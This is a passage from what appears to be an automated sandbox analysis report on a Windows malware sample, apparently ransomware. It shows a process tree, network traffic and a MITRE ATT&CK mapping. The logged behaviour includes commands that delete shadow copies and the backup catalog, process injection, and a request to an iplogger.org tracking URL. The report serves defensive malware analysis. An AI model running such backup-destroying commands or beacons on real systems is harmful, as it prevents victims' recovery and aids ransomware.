      4⤵
      Interacts with shadow copies
      PID:324
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete catalog -quiet
      4⤵
      Deletes backup catalog
      PID:1052
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1616
- - C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
    "C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe" n1224
    3⤵
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:556
  - - C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe
      "C:\Users\Admin\AppData\Local\Temp\f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe" n1224
      4⤵
      PID:1168

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:784

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:560

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1808

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1388

Network

DNS

iplogger.org

f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

Remote address:

8.8.8.8:53

Request

iplogger.org

IN A

Response

iplogger.org

IN A

88.99.66.31
GET

https://iplogger.org/1Bucq7

f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

Remote address:

88.99.66.31:443

Request

GET /1Bucq7 HTTP/1.1
Referer: B023785B;2.16
Host: iplogger.org
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Server: nginx
Date: Tue, 22 Dec 2020 13:18:56 GMT
Content-Type: image/png
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: PHPSESSID=t47evsr94tu3qt6488e11e5i32; path=/; HttpOnly
Pragma: no-cache
Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Answers:
whoami: acce61361a3dee677653fa2909f29530202335835c71031ba4dff50682ae5de8
Strict-Transport-Security: max-age=31536000; preload
X-Frame-Options: DENY
DNS

www.download.windowsupdate.com

f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

Remote address:

8.8.8.8:53

Request

www.download.windowsupdate.com

IN A

Response

www.download.windowsupdate.com

IN CNAME

wu-fg-shim.trafficmanager.net

wu-fg-shim.trafficmanager.net

IN CNAME

2-01-3cf7-0009.cdx.cedexis.net

2-01-3cf7-0009.cdx.cedexis.net

IN CNAME

wu.azureedge.net

wu.azureedge.net

IN CNAME

wu.ec.azureedge.net

wu.ec.azureedge.net

IN CNAME

wu.wpc.apr-52dd2.edgecastdns.net

wu.wpc.apr-52dd2.edgecastdns.net

IN CNAME

hlb.apr-52dd2-0.edgecastdns.net

hlb.apr-52dd2-0.edgecastdns.net

IN CNAME

cs11.wpc.v0cdn.net

cs11.wpc.v0cdn.net

IN A

93.184.221.240
DNS

crl.verisign.com

Remote address:

8.8.8.8:53

Request

crl.verisign.com

IN A

Response

crl.verisign.com

IN CNAME

crl-symcprod.digicert.com

crl-symcprod.digicert.com

IN CNAME

cs9.wac.phicdn.net

cs9.wac.phicdn.net

IN A

72.21.91.29

88.99.66.31:443

https://iplogger.org/1Bucq7

tls, http

f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

876 B
6.9kB
9
10

HTTP Request

GET https://iplogger.org/1Bucq7

HTTP Response

200

8.8.8.8:53

iplogger.org

dns

f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

58 B
74 B
1
1

DNS Request

iplogger.org

DNS Response

88.99.66.31
8.8.8.8:53

www.download.windowsupdate.com

dns

f64ecdec4c84ac7ef0ca6c2ef4d94eea.exe

76 B
325 B
1
1

DNS Request

www.download.windowsupdate.com

DNS Response

93.184.221.240
8.8.8.8:53

crl.verisign.com

dns

62 B
146 B
1
1

DNS Request

crl.verisign.com

DNS Response

72.21.91.29

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1224-5-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/1224-3-0x0000000000400000-0x000000000041F000-memory.dmp

Filesize
124KB

Download
memory/1636-17-0x000007FEF5B70000-0x000007FEF5DEA000-memory.dmp

Filesize
2.5MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.